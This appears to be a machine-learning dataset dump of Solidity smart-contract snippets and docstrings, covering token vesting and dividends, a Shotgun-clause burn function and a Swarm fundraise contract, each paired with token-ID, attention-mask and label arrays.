grant.burnsOnRevoke; vested = vestedTokens(grant, uint64(now)); } /** * @dev Get the amount of vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time The time to be checked * @return An uint256 representing the amount of vested tokens of a specific grant at a specific time. */ function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { return calculateVestedTokens( grant.value, uint256(time), uint256(grant.start), uint256(grant.cliff), uint256(grant.vesting) ); } /** * @dev Calculate the amount of non vested tokens at a specific time. * @param grant TokenGrant The grant to be checked. * @param time uint64 The time to be checked * @return An uint256 representing the amount of non vested tokens of a specifc grant on the * passed time frame. */ function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { // Of all the tokens of the grant, how many of them are not vested? // grantValue - vestedTokens return grant.value.sub(vestedTokens(grant, time)); } /** * @dev Calculate the date when the holder can trasfer all its tokens * @param holder address The address of the holder * @return An uint256 representing the date of the last transferable tokens. */ function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) { date = uint64(now); uint256 grantIndex = grants[holder].length; for (uint256 i = 0; i < grantIndex; i++) { date = Math.max64(grants[holder][i].vesting, date); } } } /** * Dividends * Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) * Copyright 2017, Adam Dossa * Based on ProfitSharingContract.sol from https://github.com/adamdossa/ProfitSharingContract **/ contract MiniMeIrrVesDivToken is MiniMeIrrevocableVestedToken { event DividendDeposited(address indexed _depositor, uint256 _blockNumber, uint256 _timestamp, uint256 _amount, uint256 _totalSupply, uint256 _dividendIndex); event DividendClaimed(address indexed _claimer, uint256 _dividendIndex, uint256 _claim); event DividendRecycled(address indexed _recycler, uint256 _blockNumber, uint256 _timestamp, uint256 _amount, uint256 _totalSupply, uint256 _dividendIndex); uint256 public RECYCLE_TIME = 1 years; function MiniMeIrrVesDivToken ( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public MiniMeIrrevocableVestedToken(_tokenFactory, _parentToken, _parentSnapShotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled) {} struct Dividend { uint256 blockNumber; uint256 timestamp; uint256 amount; uint256 claimedAmount; uint256 totalSupply; bool recycled; mapping (address => bool) claimed; } Dividend[] public dividends; mapping (address => uint256) dividendsClaimed; modifier validDividendIndex(uint256 _dividendIndex) { require(_dividendIndex < dividends.length); _; } function depositDividend() public payable onlyController { uint256 currentSupply = super.totalSupplyAt(block.number); uint256 dividendIndex = dividends.length; uint256 blockNumber = SafeMath.sub(block.number, 1); dividends.push( Dividend( blockNumber, getNow(), msg.value, 0, currentSupply, false ) ); DividendDeposited(msg.sender, blockNumber, getNow(), msg.value, currentSupply, dividendIndex); } function claimDividend(uint256 _dividendIndex) public validDividendIndex(_dividendIndex) { Dividend storage dividend = dividends[_dividendIndex]; require(dividend.claimed[msg.sender] == false); require(dividend.recycled == false); uint256 balance = super.balanceOfAt(msg.sender, dividend.blockNumber); uint256 claim = balance.mul(dividend.amount).div(dividend.totalSupply); dividend.claimed[msg.sender] = true; dividend.claimedAmount = SafeMath.add(dividend.claimedAmount, claim); if (claim > 0) { msg.sender.transfer(claim); DividendClaimed(msg.sender, _dividendIndex, claim); } } function claimDividendAll() public { require(dividendsClaimed[msg.sender] < dividends.length); for (uint i = dividendsClaimed[msg.sender]; i < dividends.length; i++) { if ((dividends[i].claimed[msg.sender] == false) && (dividends[i].recycled == false)) { dividendsClaimed[msg.sender] = SafeMath.add(i, 1); claimDividend(i); } } } function recycleDividend(uint256 _dividendIndex) public onlyController validDividendIndex(_dividendIndex) { Dividend storage dividend = dividends[_dividendIndex]; require(dividend.recycled == false); require(dividend.timestamp < SafeMath.sub(getNow(), RECYCLE_TIME)); dividends[_dividendIndex].recycled = true; uint256 currentSupply = super.totalSupplyAt(block.number); uint256 remainingAmount = SafeMath.sub(dividend.amount, dividend.claimedAmount); uint256 dividendIndex = dividends.length; uint256 blockNumber = SafeMath.sub(block.number, 1); dividends.push( Dividend( blockNumber, getNow(), remainingAmount, 0, currentSupply, false ) ); DividendRecycled(msg.sender, blockNumber, getNow(), remainingAmount, currentSupply, dividendIndex); } function getNow() internal constant returns (uint256) { return now; } } /** * Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) **/ contract ESCBCoin is MiniMeIrrVesDivToken { // @dev ESCBCoin constructor just parametrizes the MiniMeIrrVesDivToken constructor function ESCBCoin ( address _tokenFactory ) public MiniMeIrrVesDivToken( _tokenFactory, 0x0, // no parent token 0, // no snapshot block number from parent "ESCB token", // Token name 18, // Decimals "ESCB", // Symbol true // Enable transfers ) {} }
An identifier: e.g. REP
string public symbol;
979,145
[ 1, 979, 2756, 30, 425, 18, 75, 18, 2438, 52, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 533, 1071, 3273, 31, 7734, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0x66E132e79990A4804EEe9331bdf624967ad8Bf3B/sources/L2ShardRegistry.sol
@param shotgunClause address of the relevant Shotgun contract./
function burnAndCollectEther(address shotgunClause) external { L2IShotgunClause _shotgunClause = L2IShotgunClause(shotgunClause); bool enacted = _shotgunClause.shotgunEnacted(); if (!enacted) { _shotgunClause.enactShotgun(); } require( enacted || _shotgunClause.shotgunEnacted(), "[burnAndCollectEther] Shotgun Clause not enacted" ); uint balance = balanceOf(msg.sender); require( balance > 0 || msg.sender == _shotgunClause.initialClaimantAddress(), "[burnAndCollectEther] Account does not own Shards" ); require( uint(_shotgunClause.claimWinner()) == uint(ClaimWinner.Claimant) && msg.sender != _shotgunClause.initialClaimantAddress() || uint(_shotgunClause.claimWinner()) == uint(ClaimWinner.Counterclaimant) && msg.sender == _shotgunClause.initialClaimantAddress(), "[burnAndCollectEther] Account does not have right to collect ether" ); burn(balance); _shotgunClause.collectEtherProceeds(balance, msg.sender); }
8,810,750
[ 1, 2415, 19339, 7044, 1758, 434, 326, 9368, 2638, 352, 19339, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 18305, 1876, 10808, 41, 1136, 12, 2867, 24167, 19339, 7044, 13, 3903, 288, 203, 202, 202, 48, 22, 45, 1555, 352, 19339, 7044, 389, 2415, 19339, 7044, 273, 511, 22, 45, 1555, 352, 19339, 7044, 12, 2415, 19339, 7044, 1769, 203, 202, 202, 6430, 570, 25487, 273, 389, 2415, 19339, 7044, 18, 2415, 19339, 664, 25487, 5621, 203, 202, 202, 430, 16051, 275, 25487, 13, 288, 203, 1082, 202, 67, 2415, 19339, 7044, 18, 275, 621, 1555, 352, 19339, 5621, 203, 202, 202, 97, 203, 202, 202, 6528, 12, 203, 1082, 202, 275, 25487, 747, 389, 2415, 19339, 7044, 18, 2415, 19339, 664, 25487, 9334, 203, 1082, 202, 6, 63, 70, 321, 1876, 10808, 41, 1136, 65, 2638, 352, 19339, 3905, 1579, 486, 570, 25487, 6, 203, 202, 202, 1769, 203, 202, 202, 11890, 11013, 273, 11013, 951, 12, 3576, 18, 15330, 1769, 203, 202, 202, 6528, 12, 203, 1082, 202, 12296, 405, 374, 747, 1234, 18, 15330, 422, 389, 2415, 19339, 7044, 18, 6769, 9762, 970, 1887, 9334, 203, 1082, 202, 6, 63, 70, 321, 1876, 10808, 41, 1136, 65, 6590, 1552, 486, 4953, 2638, 14727, 6, 203, 202, 202, 1769, 203, 202, 202, 6528, 12, 203, 1082, 202, 11890, 24899, 2415, 19339, 7044, 18, 14784, 59, 7872, 10756, 422, 2254, 12, 9762, 59, 7872, 18, 9762, 970, 13, 597, 203, 1082, 202, 3576, 18, 15330, 480, 389, 2415, 19339, 7044, 18, 6769, 9762, 970, 1887, 1435, 747, 203, 1082, 202, 11890, 24899, 2415, 19339, 7044, 18, 14784, 59, 7872, 10756, 2 ]
pragma solidity ^0.5.0; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/math/SafeMath.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IGetRateMinter.sol"; import "../interfaces/IAffiliateManager.sol"; import "../interfaces/ICurrencyRegistry.sol"; import "../interfaces/IIssuerStakeOfferPool.sol"; import "../interfaces/IContributorRestrictions.sol"; import "../fundraising/Utils.sol"; /** * @title The Fundraise Contract * This contract allows the deployer to perform a Swarm-Powered Fundraise. */ contract SwarmPoweredFundraise { using SafeMath for uint256; event ContributionReceived(address indexed from, uint256 amount, uint256 sequence, address baseCurrency); event ContributorAccepted(address contributor); // variables that are set up once and never change string public label; address internal ETH = address(0); address private owner; uint256 public startDate; uint256 public endDate; uint256 public minAmountBCY; uint256 public maxAmountBCY; uint256 public expirationTime = 7776000; // default: 60 * 60 * 24 * 90 = ~3months address public src20; address public minter; address public affiliateManager; address public contributorRestrictions; address public currencyRegistry; ICurrencyRegistry internal cr; bool public offchainContributionsAllowed; // default == false; address[] internal acceptedCurrencies; // variables that can change over time uint256 internal sequence; uint256 public softCapBCY; uint256 public hardCapBCY; uint256 public SRC20tokenPriceBCY; uint256 public SRC20tokensToMint; uint256 public fundraiseAmountBCY; uint256 public numberOfContributors; uint256 public totalIssuerWithdrawalsBCY; bool public isFinished = false; // default == false; bool public setupCompleted = false; // default == false bool public contributionsLocked = true; bool public isCancelled; // default == false; // per contributor, iterable list of his contributions, where each contribution // holds information about its position in the global queue of contributions mapping(address => Utils.Contribution[]) contributionsList; // per contributor and currency, pending amount mapping(address => mapping(address => uint256)) public bufferedContributions; // per contributor and currency, qualified amount // a qualified amount is amount that has passed min/max checks and has been placed in the queue mapping(address => mapping(address => uint256)) public qualifiedContributions; // per currency, total qualified sums mapping(address => uint256) public qualifiedSums; // per currency, total buffered sums mapping(address => uint256) public bufferedSums; // per currency, an array of historical balances mapping(address => Utils.Balance[]) historicalBalance; /** * Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "Caller is not the owner!"); _; } // only allow the external contract that handles restrictions to call modifier onlyContributorRestrictions { require(msg.sender == contributorRestrictions, "Caller not Contributor Restrictions contract!"); _; } // only allow the currencies we accept modifier onlyAcceptedCurrencies(address currency) { require( ICurrencyRegistry(currencyRegistry).isAccepted(currency), "Unsupported contribution currency" ); _; } // only allow if the fundraise has started and is ongoing modifier ongoing { _ongoing(); _; } // forced by bytecode limitations, kept just below the modifier for clarity function _ongoing() internal view returns (bool) { require(setupCompleted, "Fundraise setup not completed!"); require(isFinished == false, "Fundraise has finished!"); require(block.timestamp >= startDate, "Fundraise has not started yet!"); require(block.timestamp <= endDate, "Fundraise has ended"); return true; } /** * Pass all the most important parameters that define the Fundraise * All variables cannot be in the constructor because we get "stack too deep" error * After deployment setupContract() function needs to be called to set them up. */ constructor( string memory _label, address _src20, address _currencyRegistry, uint256 _SRC20tokensToMint, uint256 _startDate, uint256 _endDate, uint256 _softCapBCY, uint256 _hardCapBCY ) public { require(_hardCapBCY >= _softCapBCY, "Hardcap has to be >= Softcap"); owner = msg.sender; label = _label; src20 = _src20; cr = ICurrencyRegistry(_currencyRegistry); acceptedCurrencies = cr.getAcceptedCurrencies(); currencyRegistry = _currencyRegistry; SRC20tokensToMint = _SRC20tokensToMint; startDate = _startDate; endDate = _endDate; softCapBCY = _softCapBCY; hardCapBCY = _hardCapBCY; } /** * Invoked when a contributor simply sends ETH to the contract */ function() external payable { // We want the Token Issuer to be able to send ETH to the contract even after // the fundraise has finished. He might need to get SWM via ISOP require( isFinished == false || msg.sender == owner, "Only owner can send ETH if fundraise has finished!" ); _contribute(msg.sender, ETH, msg.value); } /** * Set up additional parameters that didn't fit in the constructor * All variables cannot be in the constructor because we get "stack too deep" error * NOTE : If SRC20tokenPriceBCY is not zero, SRC20tokensToMint is ignored */ function setupContract( uint256 _SRC20tokenPriceBCY, uint256 _minAmountBCY, uint256 _maxAmountBCY, address _affiliateManager, address _contributorRestrictions, address _minter, bool _contributionsLocked ) external onlyOwner() { require(_minAmountBCY >= _SRC20tokenPriceBCY, "Minimum amount has to be >= SRC20 token price"); require(_maxAmountBCY >= _minAmountBCY, "Maximum amount has to be >= minAmountBCY"); require( (_SRC20tokenPriceBCY > 0) || (SRC20tokensToMint > 0), "Either of Token price or Tokens to mint is needed"); SRC20tokenPriceBCY = _SRC20tokenPriceBCY; minAmountBCY = _minAmountBCY; maxAmountBCY = _maxAmountBCY; affiliateManager = _affiliateManager; contributorRestrictions = _contributorRestrictions; contributionsLocked = _contributionsLocked; minter = _minter; setupCompleted = true; } /** * Cancel the fundraise. Can be done by the Token Issuer at any time * The contributions are then available to be withdrawn by contributors * * @return true on success */ function cancelFundraise() external onlyOwner() returns (bool) { isCancelled = true; return true; } /** * Loop through currencies and get the value (in BCY) of all the * contributor's contributions, either qualified or buffered * @param contributor the address of the contributor * @param qualified whether to add up the qualified or the buffered * @return sum of all buffered contributions for the contributor, * converted to BCY */ function getContributionsBCY(address contributor, bool qualified) public returns (uint256) { uint256 sum; uint256 accpCurLen = acceptedCurrencies.length; for (uint256 i = 0; i < accpCurLen; i++) { address currency = acceptedCurrencies[i]; sum = sum.add( cr.toBCY( qualified == true ? qualifiedContributions[contributor][currency] : bufferedContributions[contributor][currency], currency ) ); } return sum; } /** * Allows Token Issuer to add a contribution to the fundraise contract's accounting * in the case he received an offchain contribution, for example * * @param contributor the address of the contributor we want to add * @param currency the currency of the contribution we are adding * @param amount the amount of the contribution we are adding * @return true on success */ function addOffchainContribution( address contributor, address currency, uint256 amount ) public onlyOwner() ongoing onlyAcceptedCurrencies(currency) returns (bool) { require(offchainContributionsAllowed, "Not allowed by setup!"); // whitelist the contributor IContributorRestrictions(contributorRestrictions).whitelistAccount(contributor); // we've just whitelisted him but still need to check // for example it could be that max number of contributors has been exceeded IContributorRestrictions(contributorRestrictions).checkRestrictions(contributor); // add the contribution to the buffer bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .add(amount); // add the contribution to the queue and then subtract from buffered // because any extra amount will have been added there by the function, // but the extra amount must never be refundable bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .sub(_addContribution(contributor, currency, amount)); // set up the contribution we have just added so that it can not be withdrawn contributionsList[contributor][contributionsList[contributor].length.sub(1)] .status = Utils.ContributionStatus.Offchain; return true; } /** * contribute ERC20 with an affiliate link * * @param erc20 the currency of the contribution * @param amount the amount of the contribution * @param affiliateLink (optional) affiliate link used * @return true on success */ function contribute( address erc20, uint256 amount, string memory affiliateLink ) public ongoing onlyAcceptedCurrencies(erc20) returns (bool) { require(amount > 0, "Amount has to be positive!"); require( IERC20(erc20).transferFrom(msg.sender, address(this), amount), "ERC20 transfer failed!" ); _contribute(msg.sender, erc20, amount); if (bytes(affiliateLink).length > 0) { uint256 affiliateTokens = 0; // send the reward to referee's buffer (address affiliate, uint256 percentage) = IAffiliateManager(affiliateManager).getAffiliate(affiliateLink); affiliateTokens = ((amount.mul(percentage)).div(100)); bufferedContributions[affiliate][erc20] = bufferedContributions[affiliate][erc20] .add(affiliateTokens); // adjust the amount amount = amount.sub(affiliateTokens); } return true; } /** * Worker function for both ETH and ERC20 contributions * * @param contributor the address of the contributor * @param currency the currency of the contribution * @param amount the amount of the contribution * * @return true on success */ function _contribute( address contributor, address currency, uint256 amount ) internal onlyAcceptedCurrencies(currency) returns (bool) { // add the contribution to the buffer bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .add(amount); bufferedSums[currency] = bufferedSums[currency].add(amount); // Check whether contributor is prevented from contributing IContributorRestrictions(contributorRestrictions).checkRestrictions(contributor); // If he already has some qualified contributions, just process the new one // hmm is this the case??? whitelist/graylist? if (contributionsList[contributor].length > 0) { _addContribution(contributor, currency, amount); return true; } // If he never had qualified contributions before, see if he has now passed // the minAmountBCY and if so add his buffered contributions to qualified contributions // get the value in BCY of his buffered contributions uint256 bufferedContributionsBCY = getContributionsBCY(contributor, false); // if the contributor is still below the minimum, return // what is the point of this return? if (bufferedContributionsBCY < minAmountBCY) return true; // move all the buffered contributions to qualified contributions _addBufferedContributions(contributor); return true; } /** * Allows contributor to get refunds of the amounts he contributed, if * various conditions are met * * @return true on success */ function getRefund() external returns (bool) { require( isCancelled == true || block.timestamp > endDate.add(expirationTime) || contributionsLocked == false, "Fundraise has not finished!" ); Utils.getRefund( msg.sender, acceptedCurrencies, contributionsList, qualifiedContributions, bufferedContributions, qualifiedSums, bufferedSums ); return true; } /** * Once a contributor has been Whitelisted, this function gets called to * process his buffered/pending transactions * * @param contributor the contributor we want to add * @return true on success */ function acceptContributor( address contributor ) external ongoing onlyContributorRestrictions returns (bool) { // get the value in BCY of his buffered contributions uint256 bufferedContributionsBCY = getContributionsBCY(contributor, false); // if we are still below the minimum, return if (bufferedContributionsBCY < minAmountBCY) return true; // process all the buffers _addBufferedContributions(contributor); emit ContributorAccepted(contributor); return true; } /** * Removes a contributor (his contributions) * This function can only be called by the Token Issuer (fundraise * contract owner) or by the restrictions/whitelisting contract * * @param contributor the contributor we want to remove * @return true on success */ function removeContributor( address contributor ) external ongoing onlyContributorRestrictions returns (bool) { Utils.removeContributor( contributor, contributionsList, bufferedContributions, qualifiedContributions ); // decrease the global counter of contributors numberOfContributors = numberOfContributors.sub(1); // get the value in BCY of his qualified contributions (that we shall give back) uint256 qualifiedContributionsBCY = getContributionsBCY(contributor, true); // adjust the caps, which are always in BCY softCapBCY = softCapBCY.add(qualifiedContributionsBCY); hardCapBCY = hardCapBCY.add(qualifiedContributionsBCY); return true; } /** * Stake and Mint using ISOP to get SWM from specific providers * If ISOP parameter is address(0), SWM has to be on the fundraise contract * * @param ISOP address of an ISOP contract * @param maxMarkup maximum markup the caller is willing to accept. To determine * the correct format, see IssuerStakeOfferPool.markupPrecision * If markupPrecision is 1000, to pass 5%, pass 5000 * @return true on success */ function stakeAndMint( address payable issuerWallet, address ISOP, uint256 maxMarkup ) public onlyOwner() returns (bool) { // This has all the conditions and will blow up if they are not met uint256 numSRC20Tokens = _finishFundraise(); // Without using ISOP... if(ISOP == address(0)) { IGetRateMinter(minter).stakeAndMint(src20, numSRC20Tokens); // Withdraw (to the issuer) the ETH and the Tokens _withdrawRaisedFunds(issuerWallet); return true; } // Using ISOP... // NOTE: one day, rework to accept all currencies, not just ETH uint256 netAssetValueUSD = cr.toUSD(fundraiseAmountBCY, cr.getBaseCurrency()); uint256 swmAmount = IGetRateMinter(minter).calcStake(netAssetValueUSD); uint256 neededETH = IIssuerStakeOfferPool(ISOP).loopGetSWMPriceETH(swmAmount, maxMarkup); IIssuerStakeOfferPool(ISOP).loopBuySWMTokens.value(neededETH)(swmAmount, maxMarkup); // decrease the global ETH balance, so as to not be able to withdraw this ETH again qualifiedSums[ETH] = qualifiedSums[ETH].sub(neededETH); // Stake and mint IGetRateMinter(minter).stakeAndMint(src20, numSRC20Tokens); // Withdraw (to the issuer) the ETH and the Tokens _withdrawRaisedFunds(issuerWallet); return true; } /** * Allow the caller, if he is eligible, to withdraw his SRC20 tokens once * they have been minted * * @return true on success function claimTokens() external returns (uint256) { require(isFinished, "Fundraise has not finished!"); Utils.claimTokens( src20, currencyRegistry, SRC20tokenPriceBCY, fundraiseAmountBCY, acceptedCurrencies, contributionsList, historicalBalance, bufferedContributions ); return 0; } */ /** * Loop through all the buffers (four now, but could be many more eventually) * and turn them into qualified contributions. * * NOTE: this skips the minAmount checks! * NOTE: the maxAmount check is still performed * * @param contributor the address of the contributor we are processing * buffered contributions for * @return 0 if all the contributions were accepted, overflow if some were above * maxAmount and were not added */ function _addBufferedContributions(address contributor) internal returns (uint256) { uint256 sum; uint256 accpCurLen = acceptedCurrencies.length; for (uint256 i = 0; i < accpCurLen; i++) { address currency = acceptedCurrencies[i]; if(bufferedContributions[contributor][currency] == 0) continue; sum = sum.add(_addContribution(contributor, currency, bufferedContributions[contributor][currency])); } return sum; } /** * Worker function that adds a contribution to the list of contributions * and updates all the relevant sums and balances * * @param contributor the address of the contributor * @param currency the currency of the amount being added * @param amount the amount being added * @return 0 if the whole contribution was accepted, the overflow if it was above * maxAmount and only a part of it was accepted */ function _addContribution( address contributor, address currency, uint256 amount ) internal returns (uint256) { // convert the coming contribution to BCY uint256 amountBCY = cr.toBCY(amount, currency); require(amountBCY>0, "AMOUNT IS 0"); // get the value in BCY of his previous qualified contributions uint256 previousContributionsBCY = getContributionsBCY(contributor, true); // if we are above with previous amount, due to exchange rate fluctuations, return if (previousContributionsBCY >= maxAmountBCY) return amount; // get the total with this contribution uint256 contributionsBCY = previousContributionsBCY.add(amountBCY); // if we'd cross the maxAmount, take only the portion of the contribution up to the max // we use percentage because we need to cut contribution currency, not BCY uint256 qualifiedAmount = amount; if (contributionsBCY > maxAmountBCY) qualifiedAmount = amount.mul(maxAmountBCY.sub(previousContributionsBCY)).div(amountBCY); // get what we are going to take and leave any extra in the buffer bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .sub(qualifiedAmount); bufferedSums[currency] = bufferedSums[currency].sub(qualifiedAmount); // if this is the first time he's contributing, increase the contributor counter if (contributionsList[contributor].length == 0) numberOfContributors = numberOfContributors.add(1); Utils.Contribution memory c; sequence = sequence.add(1); c.currency = currency; c.amount = qualifiedAmount; c.sequence = sequence; c.status = Utils.ContributionStatus.Refundable; contributionsList[contributor].push(c); // adjust the global and historical sums qualifiedContributions[contributor][currency] = qualifiedContributions[contributor][currency] .add(qualifiedAmount); qualifiedSums[currency] = qualifiedSums[currency].add(qualifiedAmount); Utils.Balance memory balance; balance.sequence = sequence; balance.balance = qualifiedSums[currency]; historicalBalance[currency].push(balance); emit ContributionReceived(contributor, qualifiedAmount, sequence, currency); return qualifiedAmount.sub(amount); } /** * Perform all the necessary actions to finish the fundraise * * @return true on success */ function _finishFundraise() internal onlyOwner() returns (uint256) { require(isFinished == false, "Already finished!"); require(block.timestamp < endDate.add(expirationTime), "Expiration time passed!"); uint256 totalContributionsBCY = Utils.getQualifiedSumsBCY( currencyRegistry, acceptedCurrencies, qualifiedSums ); require(totalContributionsBCY >= softCapBCY, "SoftCap not reached!"); // lock the fundraise amount... it will be somewhere between the soft and hard caps fundraiseAmountBCY = totalContributionsBCY < hardCapBCY ? totalContributionsBCY : hardCapBCY; // Lock the exchange rates between the accepted currencies and BCY // so that claimTokens() calculates correctly whenever called cr.lockExchangeRates(); isFinished = true; // find out the token price if (SRC20tokenPriceBCY > 0) return fundraiseAmountBCY.div(SRC20tokenPriceBCY); else { SRC20tokenPriceBCY = fundraiseAmountBCY.div(SRC20tokensToMint); return SRC20tokensToMint; } } /** * Loop through the accepted currencies and initiate a withdrawal for * each currency, sending the funds to the Token Issuer * * @return true on success */ function _withdrawRaisedFunds(address payable issuerWallet) internal returns (bool) { uint256 accpCurLen = acceptedCurrencies.length; for (uint256 i = 0; i < accpCurLen; i++) totalIssuerWithdrawalsBCY = Utils.processIssuerWithdrawal( issuerWallet, acceptedCurrencies[i], currencyRegistry, totalIssuerWithdrawalsBCY, fundraiseAmountBCY, qualifiedSums ); return true; } }
* Allows Token Issuer to add a contribution to the fundraise contract's accounting in the case he received an offchain contribution, for example @param contributor the address of the contributor we want to add @param currency the currency of the contribution we are adding @param amount the amount of the contribution we are adding @return true on success/ whitelist the contributor we've just whitelisted him but still need to check for example it could be that max number of contributors has been exceeded add the contribution to the buffer add the contribution to the queue and then subtract from buffered because any extra amount will have been added there by the function, but the extra amount must never be refundable set up the contribution we have just added so that it can not be withdrawn
function addOffchainContribution( address contributor, address currency, uint256 amount ) public onlyOwner() ongoing onlyAcceptedCurrencies(currency) returns (bool) { require(offchainContributionsAllowed, "Not allowed by setup!"); IContributorRestrictions(contributorRestrictions).whitelistAccount(contributor); IContributorRestrictions(contributorRestrictions).checkRestrictions(contributor); bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .add(amount); bufferedContributions[contributor][currency] = bufferedContributions[contributor][currency] .sub(_addContribution(contributor, currency, amount)); contributionsList[contributor][contributionsList[contributor].length.sub(1)] .status = Utils.ContributionStatus.Offchain; return true; }
12,997,559
